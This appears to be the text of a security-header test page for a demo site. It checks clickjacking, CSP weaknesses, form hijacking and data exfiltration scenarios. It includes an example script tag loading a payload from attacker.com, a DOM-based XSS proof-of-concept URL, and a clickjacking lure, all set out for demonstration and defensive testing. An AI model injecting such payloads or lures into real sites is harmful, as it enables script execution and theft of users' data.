This iframe should be blocked if X-Frame-Options: DENY or SAMEORIGIN
https://example.com | No X-Frame-Options | No CSP
http://www.httpforever.com | Mixed Content Violation
https://www.fakeorca.com | Disabled=Displayed | Enabled=Blocked
2. X-Content-Type-Options Test
❌ This test is not applicable. This static page does not handle file uploads or serve user-generated content, so there is no risk of MIME type sniffing. This protection is relevant when browsers might incorrectly interpret a file's content type, which can lead to security issues if the file is treated as executable. In this context, all content types are static and controlled by the server.
3. Content-Security-Policy Test
Test Case 1: External Script Injection — Attacker attempts to execute malicious JavaScript by exploiting how the website loads external script, either directly or through misconfigurations.
Attack Vectors:
Attack Type 01: Trusted 3rd Party Compromise — The developer includes a script from a trusted third-party (e.g. a CDN or analytics provider). If that source is later compromised (e.g. Hacked or intentionally turned malicious), the attacker can inject arbitary Javascript into every site that trusts it. This demonstrates how a compromised script can execute code inside the browser when CSP is weak or missing.
✅ Applicable
Attack Type 02: XSS with External Script Injection — An attacker injects a script tag like <script src="https://attacker.com/payload.js"></script> using a reflected or stored XSS vulnerability (e.g., comment section). This will result in remote script execution through malicious user input.
❌ Not Applicable: This static test page does not process dynamic input (e.g. form fields, comments), hence there is no injection point for stored or reflected XSS.
Attack Type 03: Overly Permissive CSP — The developer sets a weak CSP such as script-src * or omits CSP entirely, unintentionally allowing third-party scripts to load from any domain, including attacker-controlled sources..
✅ Applicable
Attack Type 04: Dependency Hijacking — Publicly hosted scripts (e.g., jQuery from a CDN) can be hijacked by attackers if there are overwritten or replaced with malicious code. If the developer loads them without proper checks, users are exposed.
❌ Not Applicable: This static test page does not load any third-party libraries from public CDN ; Hence there is no oppurtunity for dependency hijack in this context
Test Case 2: Clickjacking / UI Redress - A deceptive technique where an attacker tricks user into clicking on somethings they didnt intend to by overlaying a fake interface (e.g. Click to Win) on top of a legitimate website loaded in a transparent iframe. Though users think they are interacting with the visible UI, their clicks are actually being redirected to underlying elements such as 'confirm' buttons, purchase links or sensitive settings.
🎁 $100 Voucher!
Test Case 3: Third-Party Resource Compromise - This attack target websites that rely on external JavaScript resources; Typically loaded from CDN, analytic services or UI libraries(e.g. jQuery, Bootstrap). If any of these third-party servers are compromised, attackers can inject malicious code into every website that include their scripts.
✅ Applicable
Test Case 4: [Medium Likelihood] Use of eval()/new function() - The use of JavaScript functions like eval() and new Function() to run code from the URL can introduce serious security vulnerabilities. These functions execute strings as code, and when user input is passed directly into them without validation, attackers can inject and execute malicious scripts in the browser. This leads to DOM-based Cross-Site Scripting (XSS) — a client-side attack that doesn’t require any server processing. The risk becomes critical when the website's Content-Security-Policy (CSP) allows unsafe-eval, which explicitly permits such dangerous behavior. This pattern is often found in static or single-page applications where developers use dynamic logic for things like UI customization.
Test Case 5: [Medium Likelihood] Malicious iframe injection - Modern web apps often use JavaScript functions like loadEmbedContent() to dynamically display embedded content (e.g., videos, forms, dashboards) inside iframes based on user interaction or URL fragments. When developers do not validate input sources or set proper CSP restrictions (e.g., frame-src), this behavior can be hijacked by attackers to inject phishing pages into a trusted web page.
Test Case 6: [Medium Likelihood] Form Action Hijack – This vulnerability targets the client-side manipulation of the HTML form’s action attribute via JavaScript. In this implementation, the form does not have a hardcoded action in the HTML and instead sets it dynamically on page load using form.action = "/submit-newsletter". While this may appear as a flexible design choice, it introduces a technical weakness: any attacker can replicate or embed the original form and override the action attribute at runtime, redirecting user-submitted data to a malicious server. Because the form submission logic is fully controlled on the client side, and there is no enforcement of allowed endpoints or origin validation on the server, attackers can exfiltrate user input such as email addresses to their own collection endpoint — often without the user’s knowledge. This is particularly dangerous in public-facing forms like newsletter sign-ups, where users are trained to trust input fields.
Test Case 7: [Medium Likelihood] Data Exfil via img, fetch, or XHR - Sensitive data is extracted from the page and exfiltrated to an external domain using image loads or background requests.
POC: Enter example here
Test Case 8: [Medium Likelihood] Object Tag Exploitation - Embedding legacy plugins (like Flash or PDF viewers) with object tags may enable attacks if they load unsafe content.
POC: Enter example here
Test Case 9: [High Likelihood] Inline Script Injection (DOM-based XSS) - Unsanitized content from the URL (e.g., hash or query string) is injected directly into the DOM and executed as JavaScript.
POC: https://www.fakeorca.com/static#<script>alert('XSS Successful!')</script>
4. Referrer-Policy Test
This test illustrates how the Referrer-Policy header controls the amount of referrer information included in outbound requests. Submit the form below to observe what referrer details are exposed in the request sent to the target.
5. X-Permitted-Cross-Domain-Policies Test
❌ This test is not applicable. This is a static page that does not use Flash, Silverlight, or any plugin-based content. It does not serve crossdomain policy files like crossdomain.xml, nor does it load external resources through legacy plugins. The protection controlled by this setting is only relevant when such plugins are used to access data from another domain. Modern websites use CORS and CSP instead, making this check unnecessary.